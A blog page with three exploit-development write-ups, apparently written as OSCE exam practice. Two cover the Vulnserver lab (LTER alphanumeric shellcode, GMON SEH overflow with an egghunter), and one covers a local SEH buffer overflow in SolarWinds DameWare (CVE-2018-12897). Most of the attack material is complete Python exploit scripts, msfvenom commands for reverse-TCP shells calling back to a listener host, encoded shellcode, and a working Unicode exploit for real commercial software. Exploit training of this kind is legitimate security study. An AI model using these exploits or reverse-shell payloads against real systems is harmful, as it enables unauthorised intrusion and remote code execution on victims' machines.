Exploit Development – Vulnserver LTER – Unicode conversion

Hello!

One more blog post about Vulnserver, this time let’s do LTER exercise. It’s not a difficult one, but it has an important thing that we should understand when we are using Alphanumerical encoders.

As always, we start the fuzzing process, and we crash the application in the request number 50.

This is the content of the request that makes the application crash, LTER followed by “/.:/” and then 5000 A’s.

Running the python script with 5000 A’s I’m going to overwrite the SEH, with 3000 I will overwrite the EIP. For this example, let’s use 3000 A’s. It’s important to remember that during exploit development process we should modify the length of the buffer and check if the application crashes in a different way, like this one.

To replicate the 3000 A’s crash, we are going to use a code similar to this:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 3000

buffer="LTER /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

And here we can see the crash inside Olly:

Let’s identify where we overwrite EIP. As always we run msf-pattern_create:

msf-pattern_create -l 3000

We run the exploit with that string and we see that the values that overwrite EIP are:

Now we locate the exact position using msf-pattern_offset:

msf-pattern_offset -q "386F4337" -l 3000

Now we know where is the exact position of EIP overwrite, let’s look for a JMP ESP instruction to jump to our buffer.

So we have all the information that we need for the moment, we should overwrite EIP with the memory address 0x625011AF, and we need to use that in the position 2003 of our buffer. Let’s try it:

And it’s not working, the last value of EIP should be AF and it has been converted to 09, so AF may be a bad character, let’s look for a more suitable address, if exists.

I find this one, that looks only contains alphanumerical values:

We setup this in the current exploit:

# [*] Exact match at offset 2003
junk1 = "A" * 2003

# 62501203 JMP ESP
eip = "\x03\x12\x50\x62"

# 3000 - 2003 - 4
junk2 = "B" * 993

crash = junk1 + eip + junk2

And it works! We reached a breakpoint that I previously setup in the JMP ESP. At this point, we can check if the application has more bad characters.

To do that, I’m going to use the standard procedure, I’m going to put all hex characters in the buffer string, then I’m going to verify if any character gets modified by the application.

It seems that the 80 it’s a bad character. Now we could do an exhaustive analysis but I also see that the alphanumerical characters seems to be allowed.

So we can use an alphanumerical encoding, but before let’s analyze again the status of the debugger after we do the JMP ESP:

We can see that the current EIP value is stored in ESP, so it means that is the starting point of our shellcode.


Trick. Using BufferRegister option in Msfvenom

When we encode a shellcode using alpha_mixed from msfvenom or alpha2 c application, we need to know the starting point of our shellcode. If we are going to use msfvenom command, so we set the register value like this:

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 -e x86/alpha_mixed -f python -v shellcode BufferRegister=ESP
# Payload size: 736 bytes
shellcode =  ""
shellcode += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x39\x6c\x38\x68\x6b\x32\x63\x30"
shellcode += "\x53\x30\x67\x70\x51\x70\x4c\x49\x6d\x35\x75\x61"
shellcode += "\x69\x50\x55\x34\x6c\x4b\x50\x50\x46\x50\x6e\x6b"
shellcode += "\x51\x42\x56\x6c\x6c\x4b\x52\x72\x76\x74\x4c\x4b"
shellcode += "\x44\x32\x57\x58\x44\x4f\x4c\x77\x62\x6a\x36\x46"
shellcode += "\x34\x71\x39\x6f\x6c\x6c\x47\x4c\x61\x71\x43\x4c"
shellcode += "\x34\x42\x76\x4c\x67\x50\x4f\x31\x6a\x6f\x74\x4d"
shellcode += "\x63\x31\x49\x57\x6b\x52\x68\x72\x43\x62\x32\x77"
shellcode += "\x4c\x4b\x46\x32\x76\x70\x4e\x6b\x53\x7a\x77\x4c"
shellcode += "\x6c\x4b\x52\x6c\x54\x51\x52\x58\x6a\x43\x37\x38"
shellcode += "\x55\x51\x5a\x71\x62\x71\x6e\x6b\x66\x39\x57\x50"
shellcode += "\x53\x31\x69\x43\x6e\x6b\x30\x49\x66\x78\x78\x63"
shellcode += "\x57\x4a\x70\x49\x6c\x4b\x35\x64\x4e\x6b\x47\x71"
shellcode += "\x78\x56\x70\x31\x39\x6f\x6e\x4c\x4f\x31\x78\x4f"
shellcode += "\x44\x4d\x63\x31\x4f\x37\x36\x58\x6b\x50\x54\x35"
shellcode += "\x48\x76\x33\x33\x71\x6d\x68\x78\x45\x6b\x71\x6d"
shellcode += "\x46\x44\x43\x45\x4a\x44\x31\x48\x4c\x4b\x32\x78"
shellcode += "\x75\x74\x57\x71\x68\x53\x43\x56\x4e\x6b\x44\x4c"
shellcode += "\x32\x6b\x6e\x6b\x33\x68\x37\x6c\x35\x51\x4e\x33"
shellcode += "\x4c\x4b\x55\x54\x4e\x6b\x76\x61\x68\x50\x6d\x59"
shellcode += "\x33\x74\x77\x54\x34\x64\x73\x6b\x43\x6b\x55\x31"
shellcode += "\x72\x79\x52\x7a\x33\x61\x4b\x4f\x49\x70\x53\x6f"
shellcode += "\x51\x4f\x51\x4a\x6e\x6b\x64\x52\x58\x6b\x6e\x6d"
shellcode += "\x71\x4d\x31\x78\x36\x53\x67\x42\x43\x30\x77\x70"
shellcode += "\x62\x48\x44\x37\x54\x33\x36\x52\x53\x6f\x36\x34"
shellcode += "\x61\x78\x42\x6c\x70\x77\x55\x76\x33\x37\x6f\x79"
shellcode += "\x59\x78\x6b\x4f\x58\x50\x4e\x58\x4c\x50\x77\x71"
shellcode += "\x63\x30\x33\x30\x45\x79\x39\x54\x76\x34\x72\x70"
shellcode += "\x52\x48\x35\x79\x6f\x70\x70\x6b\x77\x70\x69\x6f"
shellcode += "\x7a\x75\x71\x7a\x66\x6a\x71\x78\x59\x50\x6c\x68"
shellcode += "\x67\x71\x73\x68\x32\x48\x76\x62\x53\x30\x65\x51"
shellcode += "\x4d\x6b\x6b\x39\x48\x66\x50\x50\x36\x30\x42\x70"
shellcode += "\x52\x70\x37\x30\x56\x30\x73\x70\x42\x70\x55\x38"
shellcode += "\x39\x7a\x66\x6f\x49\x4f\x49\x70\x79\x6f\x4b\x65"
shellcode += "\x6e\x77\x63\x5a\x42\x30\x50\x56\x32\x77\x71\x78"
shellcode += "\x4f\x69\x4f\x55\x63\x44\x33\x51\x6b\x4f\x6a\x75"
shellcode += "\x6b\x35\x39\x50\x32\x54\x67\x7a\x49\x6f\x70\x4e"
shellcode += "\x54\x48\x52\x55\x5a\x4c\x6d\x38\x72\x47\x77\x70"
shellcode += "\x65\x50\x65\x50\x52\x4a\x57\x70\x31\x7a\x36\x64"
shellcode += "\x50\x56\x63\x67\x33\x58\x63\x32\x7a\x79\x79\x58"
shellcode += "\x71\x4f\x79\x6f\x4a\x75\x6f\x73\x5a\x58\x33\x30"
shellcode += "\x51\x6e\x56\x56\x4c\x4b\x30\x36\x42\x4a\x51\x50"
shellcode += "\x31\x78\x37\x70\x42\x30\x73\x30\x33\x30\x50\x56"
shellcode += "\x31\x7a\x43\x30\x72\x48\x73\x68\x6e\x44\x46\x33"
shellcode += "\x6b\x55\x39\x6f\x78\x55\x5a\x33\x43\x63\x52\x4a"
shellcode += "\x47\x70\x32\x76\x46\x33\x62\x77\x61\x78\x45\x52"
shellcode += "\x4b\x69\x59\x58\x51\x4f\x4b\x4f\x58\x55\x6d\x53"
shellcode += "\x4a\x58\x67\x70\x33\x4d\x36\x48\x36\x38\x70\x68"
shellcode += "\x67\x70\x63\x70\x73\x30\x43\x30\x51\x7a\x37\x70"
shellcode += "\x62\x70\x53\x58\x66\x6b\x54\x6f\x66\x6f\x30\x30"
shellcode += "\x79\x6f\x4a\x75\x73\x67\x32\x48\x32\x55\x30\x6e"
shellcode += "\x62\x6d\x70\x61\x69\x6f\x4b\x65\x73\x6e\x71\x4e"
shellcode += "\x59\x6f\x66\x6c\x35\x74\x34\x4f\x6f\x75\x74\x30"
shellcode += "\x59\x6f\x49\x6f\x59\x6f\x5a\x49\x4d\x4b\x39\x6f"
shellcode += "\x49\x6f\x69\x6f\x66\x61\x6f\x33\x31\x39\x6f\x36"
shellcode += "\x42\x55\x4a\x61\x6b\x73\x6d\x6b\x7a\x50\x48\x35"
shellcode += "\x6e\x42\x46\x36\x52\x4a\x73\x30\x66\x33\x59\x6f"
shellcode += "\x49\x45\x41\x41"

We put the shellcode in our python exploit, and it’s completed. This is the final code:

#!/usr/bin/python
# Author: Xavi Bel
# Website: xavibel.com
# Date: 24/06/2019
# Vulnserver LTER - Alphanumerical shellcode

import socket
import os
import sys

# [*] Exact match at offset 2003
junk1 = "A" * 2003

# 62501203 JMP ESP
eip = "\x03\x12\x50\x62"

# Some padding
padding = "A" * 50

# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 -e x86/alpha_mixed -f python -v shellcode BufferRegister=ESP
# Payload size: 736 bytes
shellcode =  ""
shellcode += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x39\x6c\x38\x68\x6b\x32\x63\x30"
shellcode += "\x53\x30\x67\x70\x51\x70\x4c\x49\x6d\x35\x75\x61"
shellcode += "\x69\x50\x55\x34\x6c\x4b\x50\x50\x46\x50\x6e\x6b"
shellcode += "\x51\x42\x56\x6c\x6c\x4b\x52\x72\x76\x74\x4c\x4b"
shellcode += "\x44\x32\x57\x58\x44\x4f\x4c\x77\x62\x6a\x36\x46"
shellcode += "\x34\x71\x39\x6f\x6c\x6c\x47\x4c\x61\x71\x43\x4c"
shellcode += "\x34\x42\x76\x4c\x67\x50\x4f\x31\x6a\x6f\x74\x4d"
shellcode += "\x63\x31\x49\x57\x6b\x52\x68\x72\x43\x62\x32\x77"
shellcode += "\x4c\x4b\x46\x32\x76\x70\x4e\x6b\x53\x7a\x77\x4c"
shellcode += "\x6c\x4b\x52\x6c\x54\x51\x52\x58\x6a\x43\x37\x38"
shellcode += "\x55\x51\x5a\x71\x62\x71\x6e\x6b\x66\x39\x57\x50"
shellcode += "\x53\x31\x69\x43\x6e\x6b\x30\x49\x66\x78\x78\x63"
shellcode += "\x57\x4a\x70\x49\x6c\x4b\x35\x64\x4e\x6b\x47\x71"
shellcode += "\x78\x56\x70\x31\x39\x6f\x6e\x4c\x4f\x31\x78\x4f"
shellcode += "\x44\x4d\x63\x31\x4f\x37\x36\x58\x6b\x50\x54\x35"
shellcode += "\x48\x76\x33\x33\x71\x6d\x68\x78\x45\x6b\x71\x6d"
shellcode += "\x46\x44\x43\x45\x4a\x44\x31\x48\x4c\x4b\x32\x78"
shellcode += "\x75\x74\x57\x71\x68\x53\x43\x56\x4e\x6b\x44\x4c"
shellcode += "\x32\x6b\x6e\x6b\x33\x68\x37\x6c\x35\x51\x4e\x33"
shellcode += "\x4c\x4b\x55\x54\x4e\x6b\x76\x61\x68\x50\x6d\x59"
shellcode += "\x33\x74\x77\x54\x34\x64\x73\x6b\x43\x6b\x55\x31"
shellcode += "\x72\x79\x52\x7a\x33\x61\x4b\x4f\x49\x70\x53\x6f"
shellcode += "\x51\x4f\x51\x4a\x6e\x6b\x64\x52\x58\x6b\x6e\x6d"
shellcode += "\x71\x4d\x31\x78\x36\x53\x67\x42\x43\x30\x77\x70"
shellcode += "\x62\x48\x44\x37\x54\x33\x36\x52\x53\x6f\x36\x34"
shellcode += "\x61\x78\x42\x6c\x70\x77\x55\x76\x33\x37\x6f\x79"
shellcode += "\x59\x78\x6b\x4f\x58\x50\x4e\x58\x4c\x50\x77\x71"
shellcode += "\x63\x30\x33\x30\x45\x79\x39\x54\x76\x34\x72\x70"
shellcode += "\x52\x48\x35\x79\x6f\x70\x70\x6b\x77\x70\x69\x6f"
shellcode += "\x7a\x75\x71\x7a\x66\x6a\x71\x78\x59\x50\x6c\x68"
shellcode += "\x67\x71\x73\x68\x32\x48\x76\x62\x53\x30\x65\x51"
shellcode += "\x4d\x6b\x6b\x39\x48\x66\x50\x50\x36\x30\x42\x70"
shellcode += "\x52\x70\x37\x30\x56\x30\x73\x70\x42\x70\x55\x38"
shellcode += "\x39\x7a\x66\x6f\x49\x4f\x49\x70\x79\x6f\x4b\x65"
shellcode += "\x6e\x77\x63\x5a\x42\x30\x50\x56\x32\x77\x71\x78"
shellcode += "\x4f\x69\x4f\x55\x63\x44\x33\x51\x6b\x4f\x6a\x75"
shellcode += "\x6b\x35\x39\x50\x32\x54\x67\x7a\x49\x6f\x70\x4e"
shellcode += "\x54\x48\x52\x55\x5a\x4c\x6d\x38\x72\x47\x77\x70"
shellcode += "\x65\x50\x65\x50\x52\x4a\x57\x70\x31\x7a\x36\x64"
shellcode += "\x50\x56\x63\x67\x33\x58\x63\x32\x7a\x79\x79\x58"
shellcode += "\x71\x4f\x79\x6f\x4a\x75\x6f\x73\x5a\x58\x33\x30"
shellcode += "\x51\x6e\x56\x56\x4c\x4b\x30\x36\x42\x4a\x51\x50"
shellcode += "\x31\x78\x37\x70\x42\x30\x73\x30\x33\x30\x50\x56"
shellcode += "\x31\x7a\x43\x30\x72\x48\x73\x68\x6e\x44\x46\x33"
shellcode += "\x6b\x55\x39\x6f\x78\x55\x5a\x33\x43\x63\x52\x4a"
shellcode += "\x47\x70\x32\x76\x46\x33\x62\x77\x61\x78\x45\x52"
shellcode += "\x4b\x69\x59\x58\x51\x4f\x4b\x4f\x58\x55\x6d\x53"
shellcode += "\x4a\x58\x67\x70\x33\x4d\x36\x48\x36\x38\x70\x68"
shellcode += "\x67\x70\x63\x70\x73\x30\x43\x30\x51\x7a\x37\x70"
shellcode += "\x62\x70\x53\x58\x66\x6b\x54\x6f\x66\x6f\x30\x30"
shellcode += "\x79\x6f\x4a\x75\x73\x67\x32\x48\x32\x55\x30\x6e"
shellcode += "\x62\x6d\x70\x61\x69\x6f\x4b\x65\x73\x6e\x71\x4e"
shellcode += "\x59\x6f\x66\x6c\x35\x74\x34\x4f\x6f\x75\x74\x30"
shellcode += "\x59\x6f\x49\x6f\x59\x6f\x5a\x49\x4d\x4b\x39\x6f"
shellcode += "\x49\x6f\x69\x6f\x66\x61\x6f\x33\x31\x39\x6f\x36"
shellcode += "\x42\x55\x4a\x61\x6b\x73\x6d\x6b\x7a\x50\x48\x35"
shellcode += "\x6e\x42\x46\x36\x52\x4a\x73\x30\x66\x33\x59\x6f"
shellcode += "\x49\x45\x41\x41"

# 3000 - 2003 - 4 - 736 = 257
junk2 = "B" * 257


crash = junk1 + eip + shellcode + junk2

buffer="LTER /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/tree/master/LTER

We launch it and we receive a reverse shell! πŸ™‚

Only 2 more exercise of Vulnserver remaining. See you soon!

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver GMON – Egghunter

Hello everyone!

This post is going to be another write-up of vulnserver. I’m going to do GMON exercise that contains basically an standard SEH based Remote Buffer Overflow vulnerability.

I will try to make this post useful for anyone that as me is learning about this kind of exploits.

Let’s go step by step all the process until we execute a reverse shell into the vulnerable server.

Before starting with the exploit development, we need to detect the vulnerability.

To do that, I used a tool named BooFuzz, and I used a custom python script that is the following one:

#!/usr/bin/env python
# Author: Xavi Bel
# Date: 22/06/2019
#    small mod: 20/07/019
# Purpose: 
#	Fuzzing Vulnserver
#	GMON

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(10000)
    except:
        print("Unable to connect. Target is down. Exiting.")
        exit(1)

    my_logger.log_check('Receiving banner..')
    if banner_template in banner:
        my_logger.log_pass('banner received')
    else:
        my_logger.log_fail('No banner received')
        print("No banner received, exiting..")
        exit(1)


def main():

    session = Session(
	sleep_time=1,
        target=Target(
            connection=SocketConnection("192.168.1.99", 9999, proto='tcp')
        ),
    )

    # Setup
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static("GMON", name='command name')
        s_delim(" ")
        s_string("FUZZ",  name='trun variable content')
        s_delim("\r\n")

    # Fuzzing
    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()


if __name__ == "__main__":
	main()

We launch it. And the request number 50 crashes the application.

The request 50 is the following one:

So it contains the string:

GMON /.:/ + A * 5000

Let’s create an exploit in python that replicates the crash. Here is the code:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 5000

buffer="GMON /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

We launch it and the application crashes. If we look at the crash inside the debugger, we can see that we didn’t overwrite EIP:

But if we look at the SEH, we are going to see that we overwritten it with 4 A’s.

We press SHIFT+F9 to pass the exception to program and we will see an access violation:

In the image above, apart that the EIP address, it’s also important to look at the stack, the right-bottom of the screen. Our shellcode is located on third position of the stack. To reach it we can use a POP-POP-RET instruction.

Let’s switch to Immunity debugger and use Corelan Mona plugin to locate a pop-pop-ret instruction:

!mona seh

We can choose for example the first one:

0x625010b4

We verify it:

Let’s save it for later. Before adding this to our script we need to locate the SEH overwrite. As always let’s use msf-pattern to generate an string:

msf-pattern_create -l 5000

We launch the script with this string, and we see that SEH was overwritten for the next value:

SEH chain of thread 000011F0, item 0
 Address=016FFFC4
 SE handler=45336E45

And we identified was is the exact position of the buffer that overwrites SEH value.

Let’s add this information to our script:

# [*] Exact match at offset 3519
junk1 = "A" * 3515 + "C" * 4

# 625010B4   POP-POP-RET
seh  = "\xB4\x10\x50\x62"

junk2 = "B" * 1477

crash = junk1 + seh + junk2

We setup a break point in the pop-pop-ret instruction and we verify that we reach it:

Now we are going to land in our 4 bytes of space that are the letters CCCC.

We are going to do a small jump forward with the instruction:

017CFFC4   EB 08            JMP SHORT 017CFFCE  = JMP SHORT +8

This it how the code looks like now:

# [*] Exact match at offset 3519
junk1 = "A" * 3515
short_jump = "\xEB\x08\x90\x90"

# 625010B4   5B               POP EBX
seh  = "\xB4\x10\x50\x62"

junk2 = "B" * 1477

crash = junk1 + short_jump + seh + junk2

And the jump worked as expected:

Now we can just put our final shellcode in that 1475 buffer space, but that should be too simple.

Let’s quickly implement an egghunter.

We copy the egghunter shellcode:

\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7

We put the egg somewhere in the code and we test it. It works fine, you can see T00WT00W string located in the dump:

Now we just need to generate the final shellcode.

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 EXITFUNC=none -b "\x00" -f python -v shellcode

We put all together in the final script:

#!/usr/bin/python
# Author: Xavi Bel
# Website: xavibel.com
# Date: 20/07/2019
# Vulnserver GMON - Egghunter
import socket
import os
import sys

# [*] Exact match at offset 3519
junk1 = "A" * 3149

# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 EXITFUNC=none -b "\x00" -f python -v shellcode
# Payload size: 358 bytes
shellcode  = "T00WT00W"
shellcode += "\xba\xba\xbb\x18\x8a\xda\xd0\xd9\x74\x24\xf4\x58"
shellcode += "\x33\xc9\xb1\x53\x31\x50\x15\x83\xe8\xfc\x03\x50"
shellcode += "\x11\xe2\x4f\x47\xf0\x08\xaf\xb8\x01\x6d\x26\x5d"
shellcode += "\x30\xad\x5c\x15\x63\x1d\x17\x7b\x88\xd6\x75\x68"
shellcode += "\x1b\x9a\x51\x9f\xac\x11\x87\xae\x2d\x09\xfb\xb1"
shellcode += "\xad\x50\x2f\x12\x8f\x9a\x22\x53\xc8\xc7\xce\x01"
shellcode += "\x81\x8c\x7c\xb6\xa6\xd9\xbc\x3d\xf4\xcc\xc4\xa2"
shellcode += "\x4d\xee\xe5\x74\xc5\xa9\x25\x76\x0a\xc2\x6c\x60"
shellcode += "\x4f\xef\x27\x1b\xbb\x9b\xb6\xcd\xf5\x64\x14\x30"
shellcode += "\x3a\x97\x65\x74\xfd\x48\x10\x8c\xfd\xf5\x22\x4b"
shellcode += "\x7f\x22\xa7\x48\x27\xa1\x1f\xb5\xd9\x66\xf9\x3e"
shellcode += "\xd5\xc3\x8e\x19\xfa\xd2\x43\x12\x06\x5e\x62\xf5"
shellcode += "\x8e\x24\x40\xd1\xcb\xff\xe9\x40\xb6\xae\x16\x92"
shellcode += "\x19\x0e\xb2\xd8\xb4\x5b\xcf\x82\xd0\xa8\xfd\x3c"
shellcode += "\x21\xa7\x76\x4e\x13\x68\x2c\xd8\x1f\xe1\xea\x1f"
shellcode += "\x29\xe5\x0d\xcf\x91\x66\xf0\xf0\xe1\xaf\x36\xa4"
shellcode += "\xb1\xc7\x9f\xc5\x59\x18\x20\x10\xf7\x12\xb6\x5b"
shellcode += "\xa0\x22\x1e\x34\xb3\x24\x9f\x7f\x3a\xc2\xcf\x2f"
shellcode += "\x6d\x5b\xaf\x9f\xcd\x0b\x47\xca\xc1\x74\x77\xf5"
shellcode += "\x0b\x1d\x1d\x1a\xe2\x75\x89\x83\xaf\x0e\x28\x4b"
shellcode += "\x7a\x6b\x6a\xc7\x8f\x8b\x24\x20\xe5\x9f\x50\x57"
shellcode += "\x05\x60\xa0\xf2\x05\x0a\xa4\x54\x51\xa2\xa6\x81"
shellcode += "\x95\x6d\x59\xe4\xa5\x6a\xa5\x79\x9c\x01\x93\xef"
shellcode += "\xa0\x7d\xdb\xff\x20\x7e\x8d\x95\x20\x16\x69\xce"
shellcode += "\x72\x03\x76\xdb\xe6\x98\xe2\xe4\x5e\x4c\xa5\x8c"
shellcode += "\x5c\xab\x81\x12\x9e\x9e\x92\x55\x60\x5c\xbc\xfd"
shellcode += "\x09\x9e\xfc\xfd\xc9\xf4\xfc\xad\xa1\x03\xd3\x42"
shellcode += "\x02\xeb\xfe\x0a\x0a\x66\x6e\xf8\xab\x77\xbb\x5c"
shellcode += "\x72\x77\x4f\x45\x85\x02\x3f\x7a\x66\xf3\x56\x1f"
shellcode += "\x66\xf3\x57\x21\x5a\x25\x61\x57\x9d\xf5"

# EB08 JMP SHORT +8
short_jump = "\xEB\x08\x90\x90"

# 625010B4 POP-POP-RET
seh  = "\xB4\x10\x50\x62"

# 2 bytes of padding, we are going to jmp over them
padding = "X" * 2

# egghunter - 32 bytes
# egg = W00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

junk2 = "B" * 1443


crash = shellcode + junk1 + short_jump + seh + padding + egghunter + junk2

buffer="GMON /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/GMON/EXP-GMON-01-egghunter.py

We execute it, and here is our shell:

See you soon!

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

CVE-2018-12897 – Exploit Development – SolarWinds DameWare Local Buffer Overflow

Hello everyone!

Last week I’ve been having fun trying to create exploits for already discovered vulnerabilities. I’m currently preparing the OSCE exam, and I decided that after doing some Vulnserver exercises… I needed to start working on “more realistic” exploits.

For this case, I chose the following application: DameWare Mini Remote Control and I will cover the process of creating a working exploit for a SEH based local Buffer Overflow that corresponds to CVE-2018-12897.

This vulnerability was discovered by Adam Jeffreys from Nettitude, so all the credit goes to him. You can read his write-up in the following blog post:

https://labs.nettitude.com/blog/solarwinds-cve-2018-12897-dameware-mini-remote-control-local-seh-buffer-overflow/

Now I’m going to write the exploit from the scratch without any help, the idea is to prepare the exam πŸ™‚

Step 1. Identifying the vulnerable parameter:

The vulnerability is a local Buffer Overflow that leads in code execution. I manually input 5000 A’s in this field in this options menu:

Right click on a host >> AMT >> AMT Settings dialog

We mark “Use SOCKS proxy” box, and the we paste the 5000 A’s string in the Host field:

When we introduce this string, the application is going to crash. If we do the same with a debugger attached to the process of the application we can see the following:

We managed to overwrite the Structured Exception Handler(SEH). So we are in the good way.

Step 2. ASCII to Unicode conversion

As I said, we overwritten the SEH, but we expected to have the value 41414141 in it (4 A’s). But we have 00410041, this is indicative that our buffer it’s getting converted to Unicode.

The process that is happening, is that the ASCII character “\x41″ is converted to u”\u0041”.

This transformation is going to complicate all the process of exploit development. Some values are going to change and get modified, also we are not going to be able to use some instructions and we are going to need to use the imagination, or Corelan tutorials πŸ˜›

Step 3. Where is our buffer located and what instruction do we need

If we press SHIFT + F9 we are going to pass exception the program and we are going to reach the memory address 00410041, our SEH value. If we quickly inspect that state of the stack, we are going to see that in the third position of the stack, is located our A’s string.

So we need an instruction or a set of instructions, that can jump to that position of the stack. The instructions that suits us is a POP-POP-RET. Is going to remove the top two values of the stack, and is going to execute the third one.

Step 4. Locating a Unicode compatible POP-POP-RET

At this point we need to locate an Unicode compatible instruction that contains what we need, with unicode compatible I mean an instruction like the following:

00XX00XX

Or a similar one, that gets converted to a suitable address. An easy way to locate one, if exists, is using Mona plugin from Corelan.

To do that, we need to attach the application to the Immunity debugger and execute the following command:

!mona seh -cp unicode

The first memory address is 007a007b and it contains a POP-POP-RET 4 instruction that suits our needs.

Step 5. NSEH instructions

NSEH is going to be the next instructions that we are going to execute, we need that them don’t break the program execution flow.

After reading the Corelan tutorial again, and doing some tests I identified that these instructions are fine:

nseh = "\x61\x43"

Step 6. Jumping to the final shellcode

The shellcode that we need must be alphanumerical encoded. There is a tool that converts our shellcode to a “Unicode exploit compatible”. You can find it here:

https://github.com/un4ckn0wl3z/Alpha2-encoder

Just compile it with gcc and you can execute after this commands:

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw

And this is the shellcode generated

# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

We put all together in our final exploit:

#!/usr/bin/env python
# Author: Xavi Beltran
# Date: 11/07/2019
# Description:
#           SEH based Buffer Overflow
#			DameWare Remote Support V. 12.0.0.509
#			CVE-2018-12897

# Contact: xavibeltran@protonmail.com
# Webpage: https://xavibel.com
# Tested on: Windows XP SP3 ESP

# Credit for Adam Jeffreys from Nettitude! :)

# Usage:
#			Right click on a host >> AMT >> AMT Settings dialog
#			Mark "Use SOCKS proxy" box
#			Paste the string in the Host field

junk  = "\x41" * 1672

# Unicode compatible padding
nseh = "\x61\x43"

# 007A007B - POP POP RET
seh = "\x7B\x7A"

align  = ""
align += "\x05\x20\x11"       # add eax,0x11002000
align += "\x71"               # Venetian Padding
align += "\x2d\x19\x11"       # sub eax,0x11001900
align += "\x71"               # Venetian Padding
align += "\x50"               # push eax
align += "\x71"               # Venetian Padding
align += "\xC3"               # RETN

padding = "\x41" * 11

junk2 = "\x41" * 870
junk3 = "\x41" * 2014

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"


crash = junk + nseh + seh + padding + align + junk2 + shellcode + junk3

print(crash)

Finally, we run the exploit, and we verify that our code works correctly, and before the last return instruction, we have the generated shellcode in EAX:

We let the execution continue and here is our calc!

I submitted it to Exploit-DB just in case, maybe it’s useful for someone like me that is learning about this kind of exploits. Here is the link:

https://www.exploit-db.com/exploits/47126

